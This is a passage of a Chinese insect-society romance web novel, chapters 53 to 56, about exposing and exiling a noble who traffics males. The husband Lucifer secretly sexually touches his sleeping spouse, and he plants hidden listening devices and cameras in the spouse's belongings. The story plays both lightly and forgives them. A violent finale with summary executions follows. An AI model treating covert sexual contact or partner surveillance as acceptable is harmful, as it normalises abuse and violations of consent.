狂妄、易怒、像一只肆虐的野兽,但偏偏又被圈养了起来,他们的等级最高不过B级,每只虫都无心上进,没有工作,不难推测出他们是联盟那边的雄虫。 弥斯对联盟雄虫有过了解,那边的雄虫就如同未开化一般,沉溺在雌虫编织的美梦中,明明被限制在家,却觉得凌驾于雌虫之上,他们对权力没有兴趣,也没有多大的野心。他们看似高高在上,其实不过是豢养在笼中的金丝雀,任虫拿捏。 在骄奢淫逸的环境中,联盟的雄虫数量并不比帝国多,但他们的雌虫太多了,所以性别比例反而更加失衡。理论上,他们对雄虫的保护应当是更加严密的,其实不然。 联盟雄虫受环境影响,以取雌君纳雌侍、雌奴为乐,往往一只雄虫能向联盟输送数以百计的虫崽,十分恐怖的数据。 越是高等级的雄虫,造出来的蛋质量更好,自然地位也就越高。但是低等级的雄虫,亦或者低等星的雄虫,就没那么“自由”了,雌虫怎么能真正懂得如何保护雄虫呢,他们连雄虫的需求都不知道。 这自然就给罗斯蒂亚提供了漏洞,巴尔福有一条非常成熟的“产业链”,可以源源不断地从联盟低等星输送雄虫和这些军雌,怪不得每只虫都像疯了一样。 “这么多年了,联盟的虫怎么还这么蠢,连雄虫都保护不好吗,莫名其妙失踪了这么多只雄虫,一点儿察觉都没有吗,废物!” 蒂安看到这么多只来历不明的雄虫被豢养在雌虫的家中,简直要气炸了,丧心病狂,到底是谁给他们的勇气。 弥斯倒是淡定了许多,首先,资料显示这些雄虫的待遇和在联盟没有区别,所以他们才没有任何反抗。 其次,看着确实受害雄虫数量众多,但罗斯蒂亚十分谨慎,这些雄虫大多是不同星球的,送矿星的雌虫也来自不同的星球,所以基本上不可能有任何联系,所以自然很难被发现。 更别提这些星球基本都是低等星,帝国和联盟对低等星确实不够重视。 “至少我们抓到了罗斯蒂亚的把柄,你现在最重要的事情,是可以利用这个把柄做什么,蒂安。” 弥斯有些无奈,平日里看着挺沉稳的一虫,怎么每次碰到雄虫相关的事情都这么不淡定。 蒂安有些难过,“我不想要矿星了,我想把那些雄虫救出来,他们太惨了。” 这些颗矿星虽然可以带来不菲的利益,但是蒂安最关心的还是这些虫的安危。 弥斯想说些什么,他想告诉蒂安没必要同情不该同情的虫,虽然都是虫族,但是联盟和帝国之间是有很大的文化差异的。 贸然出手,这些只雄虫只会心怀怨怼,但最终,他还是没能忍心破坏好朋友的善良,只是淡淡的说:“我只要罗斯蒂亚倒台。” \第54章 第 54 章 纵欲过度 回到家, 弥斯把这件事和路西法说了。 路西法掐着雄虫的腰把虫抱进怀里,低头亲了亲乌黑的发丝,虽然雄主没有直说,但他还是敏锐地察觉到弥斯真正想表达的是什么。 “所以, 你是觉得自己很冷漠吗?” 弥斯沉默, 只是将脑袋埋进去, 像一只寻求庇佑的小兽。 路西法伸手拍了拍雄虫的背部,温声道:“你只是理性了一点, 联盟的雄虫就是一直被养在家里, 什么也不用干,蒂安不会理解还有这种雄虫的, 自然就代入了自己身边的虫。” “你不能因为自己看得通透, 就觉得自己冷漠, 恰恰相反, 你什么都清楚, 却还是为此难过, 说明我们家的弥斯阁下是一顶一的善良。” 弥斯被说得害臊, 黑色脑袋在雌虫胸前蹭来蹭去的,扭扭捏捏地说:“我哪有你说的这么好。” 言外之意就是再多夸两句。 路西法稳了稳被蹭的有些躁动的心,非常有耐心地哄着,“我们弥斯就是这样又聪明又有责任感, 心地善良, 非常完美的雄虫。但就是有点苛责自己, 这点不好, 建议改掉,可以吗?” 弥斯更开心了,他很喜欢被表扬。 就是苦了路西法了, 本来大荤之后吃点素的也没什么,但是雄主忙了一个月,他也素了一个月,每天只能等雄主睡着之后奖励一下自己,实在是憋屈。 要他说,不如找个夜黑风高的晚上,他潜入巴尔福的家里面把虫宰了,就不用弥斯一直因为这只虫的事情忧心了。 可惜路西法的提议不但被否决了,而且还得到了雄主的强烈谴责,甚至还罚了他睡书房,虽然他晚上偷偷自己回来了,但还是十分不爽,明明这个解决方案很高效。 入夜,路西法依旧像往常一样,看似和雄虫一起熟睡过去,实则等雄虫呼吸逐渐平稳,就慢慢撑起身体,打量着雄虫的睡颜。 然后轻轻地将小巧挺翘的鼻尖含进嘴里,手还不老实地放在雄虫柔软的腹部慢慢揉搓,雄虫温热的呼吸刚好打在他敏感的喉结处,路西法更兴奋了。 他伸手缓缓探进雄虫湿热的口腔,脑子里还幻想着雄主侵入他时的刺激,他是想亲上去的,可怕把雄主吵醒,最终只是浅浅地拨弄了一下。 嘴巴还需要呼吸,但是其他地方就不太需要了。 他埋头将软肉吸进嘴里,吮出一个又一个的红痕…… 夜深了,路西法早就把药膏放在了枕头下面,一点点地抹在刚刚被他弄出痕迹的地方,看着那些红痕逐渐散去,他觉得自己的心也失了一大块。 雄主本身就香香软软的,路西法一直一直想放肆一番,可他太没出息了,在雄主手下总是很快就失去神智,沉溺在爱/欲的漩涡中无法自拔。 只有在夜深虫静的时候,才可以勉强品尝一些小甜点,只可惜还要擦干净,要是能留在雄主身上就好了,那雄主不管在哪里都要带着他弄出来的东西招摇,所有虫都会乖乖的离雄主远一点。 可惜,他没有这个胆子,连奖励自己都只敢在雄虫睡着之后。 底下的信息素就是浓郁啊,每次吃上这么一顿,都十分的满足,路西法贪婪的舔了舔嘴角,等把一切恢复如初,他才继续揽着雄虫睡觉。 雌虫的动静虽说极力控制,但要是刚来到赫克斯的弥斯一定能清醒过来。 可现在在路西法的娇养下,弥斯的敏锐度直线下降,而且他早就习惯了雌虫身上的味道,所以对于夜里发生的一切,可怜的雄虫都一无所知。 006或许可以知道,但宿主已经很久没召唤它了,而且哪怕是它这种有问题的统子,也是不可以观看这种十八岁止步的画面的。 、 蒂安拿到证据,就去找桑因商议怎么处理那些雄虫的事情,但是桑因不觉得那些雄虫有被营救的必要,两只虫大吵了一架。 蒂安其实那天和弥斯说完就已经想明白了,他在意的也不是这个,而是桑因的态度实在是太冷漠了。 “你知道他说什么吗?他板着一张臭脸,冷冰冰地说,哪怕是我,也不能干涉他的决定!” 蒂安快气死了,他自顾自地输出也不在意弥斯的反应,“我们俩从小一起长大,我有什么都想着他,他呢,自从……” 这件事不能和弥斯说,蒂安堪堪刹住,有些不自然地将这句话扯了过去,“反正就前段日子,他莫名其妙的忙起来,就再也没主动找过我。” “不找就不找呗,谁稀罕,我也不是只有他一只好朋友,我还有你,还有艾瑞斯,桑因就和他的权力过一辈子去吧。” 弥斯不会安慰虫,也从未充当过和事老的角色,他对此可以说是毫无办法,只能假装自己是只哑巴虫。 蒂安气愤地吐槽桑因的变化,从没有时间陪他去逛街到总是一只虫闷在家里,问什么都不说,还有不回消息等等等等,总之,蒂安放了一句狠话。 “他不来找我,我也不会再去找他了,以后我们见面就是陌生虫!” 弥斯眼睁睁看着虫气势汹汹地跑过来,又怒气冲冲地离开,整只虫看起来呆呆的。 路西法端着果盘出来,醋味十足地说:“回神了,弥斯,怎么,舍不得他,要我帮你把虫叫回来吗?” 弥斯这才看向大黑虫,“你又胡说八道。” “蒂安好像和桑因闹矛盾了,是因为我的原因吗,他们一开始就不太想对付巴尔福,但因为我,蒂安才勉为其难地松口的。” 路西法毫无波澜地开口阻断了雄主钻牛角尖的趋势,“弥斯,不要总觉得自己有问题,桑因最近麻烦很多,顾不上这些也是很正常的。” “不过我很闲,如果弥斯阁下亲亲我的话,罗斯蒂亚的事情我可以帮忙处理。” 弥斯叉了一块西瓜塞进大黑虫嘴里,“不需要,既然有了证据,交给艾瑞斯就够了,你太冲动了,我们要相信法律。” 如果所有的罪证都呈上了公堂,罗斯蒂亚还能全身而退,弥斯也无话可说。 法律都解决不了的问题,他也没办法,尽虫事,听天命,反正他现在已经很幸福了,那三年的恨意也不如一开始强烈,慢慢来就好了。 当然以上都是不可能发生的,毕竟他现在不单单是S级雄虫,还是帝国的皇子殿下的雄主,身份的变化势必会影响一些虫的态度。 弥斯把自己摊成猫猫饼,这姿势虽然对脊椎不好,但真的很舒服,尤其是靠在饱满的胸肌上。 嘴里小声嘟囔着,“要是明天一起床就看到罗斯蒂亚倒了就好了。” 路西法喂了他一块苹果,十分冷酷地打消了雄主的幻想。“这不太可能,罗斯蒂亚根基很深,就算要处理也要一段时间,不过桑因最近心情不怎么样,拿它撒气也是有可能的。” “为什么?”弥斯不解。 “弥斯对谁都特别关心呢,除了你最亲爱的雌君我。”路西法宛如被抛弃的怨夫,那语气、那态度,简直了。 弥斯瞬间就不好奇了,手撑在结实的大腿上,吧唧了一口大黑虫,“哪有,我最最最喜欢你了。” 路西法这才满意,又重新叉了一块梨送到雄主嘴边。“不过,这对我们也是有好处的,前段日子,我又拿到了一颗A级矿星,还额外送了我6颗C级矿星,你有看到吗?” 没有。 他很忙的,好不好,自从变成富虫之后,他终于可以说那句:我不在乎钱,我根本就没有碰过钱。但是弥斯绝对不能这么说,不然爱吃醋的雌君绝对又要哄。 弥斯双手捧着自家雌君的脸,小鸡啄米般地亲下去,“当然看到了,路西法,你也太厉害了吧,这么会赚星币。” 吃惯了山珍海味的路西法突然搞这种清淡的,除了嘴巴有些痒,看不到雄主任何的诚意。 敷衍,幸好他晚上可以自己奖励自己,不和痴迷工作的雄主一般计较。 弥斯又往嘴里塞了几块水果,顺手还喂了大黑虫一块,像是突然想到了什么,“路西法,我最近不太舒服,改天有时间的时候,去医院看看吧。” 路西法乐呵呵的看着雄主鼓着腮帮子吃东西,突然冷不丁听到一句话,心瞬间就揪起来了。 “怎么回事,多久了,怎么不早说,生病这种事怎么能拖着!” 没有丝毫犹豫,路西法抱起雄虫就往外走,“什么症状,很不舒服吗?” 弥斯有些不好意思说,嘴里只嘟囔着,“等医虫问我的时候再说嘛。” 路西法皱着眉头,一脸的不认同,“我是你最亲近的虫,你有什么事情都要先和我说,知道吗?” 弥斯扭过身体,看向飞行器外面,一言不发。 真犟!路西法心里有气,但现在显然不是教训雄主的好时机,还是先去医院看看再说。 弥斯真不是故意的,他前段时间那么忙,虽然有点虚,但他以为是工作强度太高导致的。但这几天明明都清闲了不少,可还是有点虚。 但他作为一家之主,虚这种事,怎么好意思和雌君说。 所以,这段时间,哪怕是大黑虫勾引他,弥斯都能做到不为所动,既是因为没精力也是因为他已经没了那种世俗的欲望了,现在他已经成功变成了心如止水的圣虫。 、 达利锡看了眼手中的报告,又看了一眼红着脸的雄虫,然后又瞟了一眼黑脸殿下,沉着脸、颇为严肃地说:“殿下,你出去等待,我有话和冕下单独说。” 路西法冷着脸,“有什么是我不能听得!什么问题,你说就好了,别的事情不需要你瞎担心。” 什么话这是,什么话,大黑虫懂不懂尊重医虫,弥斯脸上挂着假笑,悄悄伸出手在雌君身后拧了一把。 “他就是担心则乱,没事的,达利锡医虫,你尽管说就是了,我不在意的。” 弥斯的心都在滴血,这还有什么不明白的,估计和他想得一样,他可能不行了,真是太丢虫了。 在心里打好腹稿之后,他还是生无可恋地问了出来,“医虫,我还有的治吗?” 达利锡立刻就带着微笑,用和蔼可亲的语气和可爱的雄虫说:“当然,冕下,这不是你的问题。” 然后面无表情地看向雌虫,“路西法,虽然最开始,我是说要让雄虫多多释放信息素,但是我没记错的话,上一次雄虫来体检的时候,我就说了,弥斯阁下恢复的很好,以后不需要这么大量且频繁的释放了。” “你不要仗着自己块头大,就欺负可怜弱小无辜的雄虫,以后要节制一点。” 弥斯听得浑浑噩噩,搞不明白,他弱弱地问:“医虫,我怎么没听懂,这和路西法有什么关系?” 达利锡心疼地看着他,“一看就知道阁下不是重欲的虫,肯定是路西法殿下强迫你。” 弥斯不解,“不是我不行吗?” 达利锡更生气了,多么可怜的雄虫,都已经这么辛苦了,竟然还在自我反省。 “与你无关,阁下,肯定是路西法殿下胁迫你。” “所以我到底是怎么了,医虫?” 弥斯现在简直是十万个为什么,他最近什么都没做啊。 “纵欲过度。” 纵欲过度?纵欲过度! 怎么可能,这根本不可能,弥斯简直像是被一道雷劈得外焦里嫩,这简直是无稽之谈。 之后医虫的医嘱,他已经半点都没听进去了,一整只虫都被这个消息雷的懵懵的。 \第55章 第 55 章 光认错啊,不做点保证什…… 弥斯坐在飞行器上, 看着默不作声的大黑虫,心里也十分难受,他真的不知道怎么就变成这样了。 但路西法肯定更难受,毕竟这一段时间, 他一直忙于工作, 灌溉的次数几乎是少之又少, 本来就爱吃醋喜欢胡思乱想的大黑虫突然听到这个消息,肯定很难接受。 虽然弥斯自己也有点委屈, 可现在最重要的是雌君的心情。 路西法不敢吱声, 他脑子里已经想了几百个认错的方法了,但是无一例外, 雄主肯定会生他的气的。 事情怎么会发展成这样, 他最近有这么频繁吗?怪不得雄主怎么弄都不醒, 原来是被他榨干了。 路西法自责的同时, 又十分恐慌, 不知道雄虫到底会生气到什么地步, 万一以后都不愿意理他了怎么办。 被雌虫抱起来的时候, 弥斯还有点震惊,他还以为雌君会和他闹脾气,他都想好怎么证明自己了,身正不怕影子斜, 就是不知道雌君的监视范畴有没有追踪这项。 路西法把雄虫放在沙发上, 扑通一声就给跪下了, “对不起, 不管您怎么处罚我都可以,不要不理我。” 弥斯震惊,“你怎么了?”怎么突然还用上敬语了。 路西法只能一骨碌的全交代了, 细细讲述了他怎么趁着天黑亲遍雄虫的身体,“你好香啊,雄主,我实在忍不住,你最近都不理我的,我知道是因为你太累了,可你就躺在我身边,我实在是忍不住,只能自己来。” “我也不想这样的,但我实在是忍不住,雄虫,你好香啊,软软的,抱在怀里特别舒服,身上的肉都是软的,就是太嫩了,轻轻捏一下就会有一道红色的痕迹……” 雌君跪在脚下阐述他的“罪行”,弥斯被震撼到了,一时都没想着把虫拽起来。可越听越觉得变态,正常雌虫能干出这种事吗? 而且大黑虫只有被发现的恐慌,毫无对所作所为的反省,甚至他还慢慢说服了他自己,这是什么品种的大黄虫。 不过这都不重要,“你……我……我们刚那啥的时候,都没有说纵欲过度,那时候你不是都受不住吗?”弥斯最震惊的是,“你到底做了多久啊?” “你每天都要工作,还要很早起床锻炼身体、做早饭,你每天睡多久啊,你身体没有出问题吗?” 这是什么高精力虫士啊,和大黑虫比起来,比格犬都要退居二线了,太强了吧。 “路西法,你不会真的是变态吧。”弥斯以为监听、监视已经很变态了,没想到大黑虫还是能做出他预料之外的事情,实在是…… 除了变态,还真没有合适的形容,他第一次觉得自己的词汇量如此浅薄。 路西法没有为自己辩解,确实是他不知节制,他自己都没意识到做了这么多次。 “怎么不说话?”弥斯戳了戳雌虫的脸,戳着也就正常厚度,怎么做出来的事情都这么炸裂呢。 当然,最可怕的是,他自己是死了吗,都纵欲过度了,他还真就没醒啊,睡着了也可以这样那样吗,雄虫的体质也太奇怪了吧,又敏感又不敏感的,真奇怪。 不愧是以生蛋为己任的虫族,连体质都这么与众不同。 “对不起,都是我的错。” 路西法低着头,跪的笔直,看起来认错态度良好。 弥斯没好气地说:“光认错啊,不做点保证什么的吗?” 这大黑虫是懂得避重言轻的,趋利避害被他玩得明明白白的,每到这时候都聪明得不像话。 弥斯纯粹是懒得和他一般计较。 路西法不说话,只是一味地低头认错,过了好一会儿,估计是被盯得羞耻了,总算是说了一句,“我不想骗你。” “你说过,不喜欢欺骗。” 弥斯本来探着脑袋盯着雌君心虚的金色竖瞳,听到这,真是忍不住了,“所以,你不愿意改,是这个意思不?” 路西法看向一边,不愿意和雄主对视,“我没这么说。” 弥斯笑了,这解决问题的态度还挺符合大黑虫的调性的,“起来吧,你都不改认什么错。” “你生气了吗?”路西法小心翼翼地抬眸看了一眼,又飞速低下头,雄主的脸色看起来还好,应该不会气到把他赶出去。 弥斯翘起二郎腿,又嫌没有气势,就踩在了雌君肩头上,“生气有用吗?” “有用,你要是生气,我……”路西法咬牙保证,但他确实做不到以后完全不做这种事,只能尽最大努力不被雄主发现,“我不会惹你生气的。” 弥斯努努嘴,根本不相信,大黑虫不惹他生气?纯粹是因为他脾气好,可不是因为大黑虫有多听话。 “好了,别说一些自己都不信的话。” 路西法腰都挺不直了,雄主听起来没有生气,反而是在纵容他,这反而让他更后悔了,就这么控制不住自己吗,弥斯会不会对他很失望。 弥斯瞧着这画面还挺可乐的,怎么会有虫一边行事夸张,一边又非常容易内耗啊。 “我又不生气,你又监听又装摄像头的,我不也没生气吗?挺好的,下次克制一点,在意一下你亲亲雄主我的身体健康。” 路西法僵了一瞬,脑袋直直地就想往下磕。 弥斯赶紧抬脚制止了这一举动,真是的,差点折寿,“你干嘛!”他不是都说了没生气吗,怎么还这么激动,真是搞不懂。 “你都知道了?”路西法这下是真慌了,没有虫能接受一举一动都在监控之下,那太窒息了,和弥斯成婚之后,他是努力过逐渐放宽对雄虫的监视。 可他实在无法完全放手,在军部看不到雄虫的时候,路西法总是想知道雄主现在在哪,在做什么,有没有遇到什么贱虫,他无法阻止自己的担心,就只能在内疚和疯狂中一而再、再而三地在雄虫的每一件饰品里装上监听器。 “对啊,早就知道了,你藏得也不好啊,亲爱的雌君。”弥斯伸手抬起他的头,眼神中带着鼓励,他希望路西法在他这里能自信一点。 这么优秀又张扬的大黑虫,没道理总是担心这些小的不能再小的事情。 “那我以后还可以这样吗?”路西法的声音越来越小,他看出了雄主的心软,没忍住更加得寸进尺一些,但又不想弥斯因此厌恶他。 “当然,路西法,你对我很重要。” 弥斯自觉已经说明白了,就踢了一脚跪在脚边的雌君,“怎么总是喜欢跪来跪去的,跪也就算了,刚刚你是不是想给我磕一个,下次不许这样了。” 路西法点点头,顺着雄虫的力道站起来,下跪对于雌虫来说稀松平常,虫崽时跪雄父,长大了跪雄主,这是早就被设定好的程序。 在没有遇到弥斯之前,他是不屑于去遵守这套约定俗成的规矩的,哪怕是虫皇,路西法在三岁之后,也不愿意再下跪了。 路西法从不觉得身为雌虫就应该低虫一等,如果雄虫崽可以不跪,那么雌虫崽又为什么要跪呢。他的不顺从自然给自己惹了不少麻烦,虫皇不喜欢他,其他的雌虫崽自然也看他不顺眼。 但那有如何,只要比所有的雌虫崽都强,虫皇就不会放弃他,其他虫有意见也只能忍着。 可遇到弥斯之后,所有的一切都变了,路西法做不到不在意雄虫的心情,那么下跪就变成了让雄虫怜悯的手段,他本虫也不会再给下跪赋予什么其他含义。 下跪仅仅是下跪,无关乎身份也无关乎别的,只是在向他钟爱的雄虫示弱。 面对自己爱的虫,不管做什么,路西法都不觉得耻辱。 弥斯见事情告一段落,雌君心情也平复了许多,才有些好奇的问:“为什么我一直都没发现啊,明明天天都有照镜子的,怎么可能一点变化都没有。” 他对自己的身体还是有些了解的,非常脆弱,很容易变得青青紫紫的。 路西法从口袋里变出了一罐小白膏。 看着熟悉的包装,弥斯还有什么想不明白的,只是让他困惑的是,“你不是说这个要去特定的星球买吗,你天天搞这些,还没用完吗?” 这药膏确实消耗的很快,它本身份量就少,而且有时候路西法看着红痕一点点消失,就忍不住再去补一下,补完了还要再涂一遍,一来二去,自然就用得超级快。 可雄主没问这些,路西法自然不会多说,只是简单地解释了一下。“它就只是贵,而且只供给特定的虫群,我当时怕雄主不接受,毕竟那个时候,雄主总是想和我算得清清楚楚,好随时离开我。” 弥斯听到这醋溜溜的抱怨,赶紧转移话题,“是吗,是不是该吃饭了,我今天想喝点清淡的汤,我们去超市吧,我们还没有一起去过超市呢。” 逛超市不是一个好提议,路西法的脸越来越黑了。 这些臭虫是没有雄主吗,为什么要一直看别虫的雄主,都看不到站在他雄主身边的他吗? 弥斯感受到身边的虫一直在放冷气,抓住雌君的手腕把虫拽到虫少的架子边,“你怎么又生气了。” “他们一直在偷看你!”路西法气愤地说。 听出来大黑虫真的很生气了,弥斯有些无语,“那你出门肯定会被虫看的,不要生气了,气坏身体没虫替。” 路西法攥紧拳头,脸上还有点不服气,身为S级雌虫,面对这样的挑衅,他想做得就是全部都打一顿,打一顿就老实了。 弥斯见这虫又想动用暴力了,只能使用一下万能的招数,美虫计。 琳琅满目的情.趣用品之间,可爱雄虫微微踮起脚尖亲了凶狠的雌虫一下,雌虫身上所有的戾气瞬间消散,偷看的虫简直羡慕地牙痒痒。 真好啊,竟然还有雄虫愿意主动亲吻雌虫,拍电视剧一样,不对,电视剧都不敢这么拍。 安抚完雌君之后,弥斯才注意自己到了一个怎样的地方。 他是有些害臊的,帝国的超市怎么回事,为什么这么正经的超市里会出现这种东西,这不应该只在专门的店里卖吗? 路西法这会儿倒是来了兴致,他搂着雄主,磨着买了几套可能用得上的东西,一些软皮鞭什么的,不至于见血,算是帝国最温和的产品了。 当然,这不是因为路西法受不住,毕竟对于雌虫来说,受伤和血气都能刺激感官,从而得到更加奇妙的体验。 但是弥斯有些接受不了。 所以路西法也只能颇为遗憾地放下那些显然更好用的,挑一些勉强也算得上可以的东西。 第56章 正文完结 第56章 正文完结 今天是个好日子 今天是个好日子, 巴尔福要离开帝星了。 为了庆祝这件事,弥斯甚至换上了他最贵的一套衣服,包括市面上最新的尾勾产品,净价值就已经高达三千万星币, 更别提私虫定制的费用了。 没别的意思, 就是单纯地炫耀一下他过得很好, 虽然手段有些low吧,但真的很爽。 “巴尔福阁下, 日安。”弥斯非常礼貌地向巴尔福送上真挚的问候。 巴尔福面上依旧保持着最初的和善, 看起来完全不像是被赶出帝星的虫,“日安, 弥斯冕下。” “真是难得, 这个时候你竟然还愿意称呼我一声冕下。”弥斯有些惊讶。 巴尔福身后的雌侍为停下来的雄主披上斗篷, 夏天尚未到来, 天气还有些冷。 “我这一生鲜少有看走眼的时候, 但是我确实没有预料到你会给罗斯蒂亚带来如此严重的灾难, 或许一开始, 我就应该阻止索伦接近你。” 巴尔福十分平静,甚至看起来还颇为赏识他,这个淡定的模样还真是令虫恼火呢。 “是吗,那看来巴尔福阁下的眼神也不怎么样啊。”弥斯没有接他的话茬, 只是嘲讽了一句, 然后接着说道, “此行遥遥没有归期, 不知道有生之年,在帝星上还能不能看到尊贵的巴尔福阁下了。” 桑因下达了敕令,勒令巴尔福三日内离开帝星, 百年内不得归来,这在帝星早就是虫虫皆知的事情,听说巴尔福刚得知这个处罚的时候,在会客厅大发雷霆,可惜他没看到。 这还是最近几十年,帝国第一次对一只S级贵族雄虫做出如此严厉的处罚,但没办法,贩卖雄虫,哪怕不是帝国的雄虫也足以惹起众怒,帝国必须放弃包庇这只高等级雄虫来平息公众的怒火。 “桑因殿下这样做,肯定有他的道理,巴尔福享皇室恩泽,自然不敢有异议。但帝国的天说变就变,今日我离开,弥斯也不必悲伤,说不准哪天我们就又见面了。” 巴尔福气定神闲的模样就好像这次离开只是去别的星球旅行而不是流放。 弥斯今天既然过来,自然是为了欣赏巴尔福如丧家之犬般的无能狂怒,而不是现在这样运筹帷幄、彷佛无事发生的模样。 他挑了一下眉头,“罗斯蒂亚根深蒂固,哪怕被其他家族蚕食了不少资源,但本家确实还在,不得不说,巴尔福阁下确实厉害,这样的处境也能绝处逢生。” 巴尔福的神情这时才略微有些得意,不难看出他自己是十分满意自己的布局的,“我听不懂弥斯冕下在说什么,但有些时候,狡兔尚且要三窟,更何况像我们这样的高贵的雄虫呢。” “阁下深谋远虑,将产业移交给家族里最为清白的宗斯亚,碍于他A级的身份,雄保会自然会保护他,但帝星的雄虫么会平白放过唾手可及的矿星,不知这点巴尔福阁下是否考虑到了。” 弥斯故意让这只一生在权势里沉浮的雄虫更加得意,这样才能在最后给予他沉重的一击。 巴尔福稍微整理了一下领口,慢条斯理地说:“阁下说笑了,作为主虫我已经无愧于心,之后的事情就交由宗斯亚自己来解决吧。” “真是看不出巴尔福阁下还有这样的胸怀,佩服,佩服,我是自愧不如。” 弥斯继续捧着他,他也乐于做这样的事情,没有什么比敌虫志得意满时给予他沉重的一击,让他意识到机关算计之后他依旧会一无所有,没有比这更畅快的事情了。 “把最后的希望寄托在一只B级雄虫身上,这样大胆的事情我是做不到的。” 巴尔福眼神闪烁了几下,指尖也不自觉地抖了一下,“我怎么听不懂你在说什么,B级?那样的雄虫怎么配待在我身边,莫要说笑了。” “是吗,那看来维克尔的突然多出来的矿星、星币都和罗斯蒂亚没关系了,那太好了。”弥斯有些庆幸地说,“不然让我突然接受这样一份馈赠还真是有些难为情呢。” “知道和巴尔福阁下没有关系我就放心了,不然我还觉得这些矿星脏脏的,不配出现在我的账户里。” 巴尔福不再淡定,但堪堪还能维持住S级雄虫的体面,“弥斯,这并不好笑。” “是吗?”弥斯有些无辜地转动脑袋,“但是我从不开玩笑啊,实话当然不好笑,又不是笑话。” 巴尔福的手指甲深深掐进身边雌虫的手心里,“不可能!” “维克尔怎么可能把矿星送给你!” “谁会把到手的矿星拱手让虫,更何况……”他还握着那只贱虫的把柄,对啊,他还握着把柄,维克尔不敢背叛他。 眼前这些雄虫突然说这些无外乎是为了惹怒他,巴尔福拼尽全力使自己平静下来,但是额头和手背上冒出的青筋都在彰显着他的怒火。 可眼神里充斥着的阴狠是骗不了虫的,哪怕极力伪装,最初的和善也已经荡然无存。 “弥斯冕下,我真的有些听不懂你想说什么,白云苍狗,未来的事情尚不可知,又何必执着于过去我对你的冒犯呢,今日我狼狈离开帝星还没缓和你的怒火吗?” “更何况您已经和路西法殿下缔结了婚姻,以后的日子肯定会越来越好的,何必沉溺于过去呢,于你于我都不是一件好事。” 瞧瞧都这个时候了,还在强装淡定,真是令虫赞叹啊,不过弥斯只是笑笑,十分残酷地打消了他的美梦。 “巴尔福阁下仿佛是忘了,我也是S级,你能承诺的我也能承诺,你不能做到的,现在的我也可以做到。” “而且,彼时的我不也是S级吗,你怎么会在最后蠢到用这么点把柄就能威胁一只雄虫呢?真是搞不懂。” “那些手段你自己不是都用过了吗,完全想不道别虫会用在你身上吗?真是好笑。” 巴尔福脸上的伪装一点点碎掉了,是啊,他当时能买通雄保会,现在的弥斯背靠皇子殿下只会更方便,但他心中还残留着一丝丝侥幸。 维克尔只是B级,雄保会不会选择他的,不一样的,不一样的。对,他和这些卑贱的平民雄虫不一样的。 但是突然冒出来的声音打碎了他最后的美梦。 “弥斯!你在这里啊,这些矿星的转赠还有些文件要签。” 的的 维克尔不加遮掩的声音从身后传来,打碎了巴尔福一直以来的面具,他的脸上骤然变得狰狞起来。 “维克尔?!” “你竟敢背叛我!!!” 维克尔一如往常,摊开手,吊儿郎当地笑了笑,“怎么能说背叛呢,亲爱的巴尔福前公爵,我们不是威胁与被威胁的关系吗?现在,我更加亲爱的弥斯冕下可以帮我解决你的威胁,我当然要配合他,不是吗?” “你怎么敢,我有证据,雄保会不会放过你的,我们差了整整两级,你的罪行足以进军事法庭,难不成你想沦为毫无尊严的灌溉机器吗?” 巴尔福气急败坏地怒吼道,这才对嘛,弥斯开心地想着。 “哦,你说那些,还好吧,索伦区区一个少将都能全身而退,更何况我一只高贵的雄虫呢。”维克尔故作惊慌,“我说得没错吧,弥斯。” 弥斯高傲地昂着头,“当然!” 巴尔福的面庞逐渐扭曲,但还是靠着理智最后挣扎了一下,“你不怕他威胁你吗?” 维克尔睁大了眼睛,和弥斯一样的黑色瞳孔里带着无辜,“亲爱的雄父,不是您告诉我,除却星币和权力,其余的都不重要吗,我学的很好,不是吗。” 巴尔福这下彻底放弃挣扎,他疯了一般地冲上来想掐死这两只贱虫,被弥斯一脚踹飞了。 “这是干什么,巴尔福阁下,怎么没有一点贵族的气派呢。”弥斯杀虫诛心,以彼之道,还彼之身,那些年的傲慢对待,也总算还给他了。 巴尔福身居高位多年,哪有被这么对待过,气红了眼,声嘶力竭地朝雌虫怒吼着:“还愣着干什么,杀了他,杀了他!” 雌君、雌侍们对看了一眼,雄主的命令不可违背,公然袭击雄虫,左右都是死了,他们颇为悲观地冲上去。 弥斯面不改色,只稍稍退后一步,顷刻间,空气变得混沌,只听得到骨针拼刺划破骨肉的声音,在血腥画面引入眼帘之前,先出现的是大黑虫结实的大胸肌。 路西法飞身过来把雄主抱在怀里,避免他看到暴力画面,毕竟弥斯哪怕刻意心狠,本质上还是一只没有经历过腌臜事的善良雄虫,他不想让弥斯看到那样残酷的画面。 “维克尔,我不会放过你的!” 巴尔福看着他熟悉的虫一只只倒下,发疯般地想往维克尔的方向冲去,可腹部骤然一痛,是索伦。 他目光无神,整只虫如同行尸走肉一般,只机械性地重复着,“保护雄主。” “你,你,你怎么敢,索伦,你疯了吗?”巴尔福甚至顾不上疼痛,他不明白,一夕之间怎么会变成这样。 “保护雄主。”索伦的声线没有任何起伏。 周边的医虫总算是“赶”到S级阁下跟前,温柔又不容拒绝地“护送”他上了飞行器。 “我不走!我还没输!”巴尔福异常愤怒,他伸手想扇这群贱虫巴掌,这些虫怎么配碰他。 医虫有些无奈地说:“巴尔福阁下,不要让我们为难。”说着,医虫非常淡定地掏出镇定剂扎进了雄虫的后腰处,“多谢阁下的配合。” 巴尔福的意识逐渐涣散,恍惚间,他看到自己曾经宠爱过的雌子缓缓倒下,嘴里彷佛还在嘟囔着。 没办法,哪怕是穷凶极恶、作恶多端的S级雄虫,也不容区区一个A级军雌的冒犯,在场的雄保会调查员自然要秉公执法。 由此,S级雄虫冕下,虫皇亲封的公爵,巴尔福流放,A级少将索伦身死,在场所有胆敢公然对尊贵的S级冕下出手的雌虫全部处死。 罗斯蒂亚至此落下帷幕。 尘埃落定之后,维克尔看着这遍地的残骸,也颇为心惊,这是怎样的狠辣,竟然容不得一只相关虫存活,该说不愧是路西法殿下吗。 路西法出现的太快了,弥斯什么都没看到就被抱着飞到了一边,这只大黑虫还控制住他的脑袋不许他东张西望,可恶,要不是维克尔还在旁边,他真的要咬他一口。 “我都没看到。”弥斯有些不满地抱怨着,他还想看巴尔福如丧家之犬的狼狈模样呢。 “那么丑的雄虫有什么好看的,说不定晚上回去还要做噩梦。”路西法无情地打消了雄主试图瞅几眼的念头。 维克尔在旁边努努嘴,切,有什么不能看的,他很早就看过了,这只雌虫太强势了,也配不上弥斯,看在他都是为了弥斯的份上,就不从中搅合了。 “对了,弥斯,你们为什么独独放过了宗斯亚?”这算是维克尔唯一觉得困惑的点了。 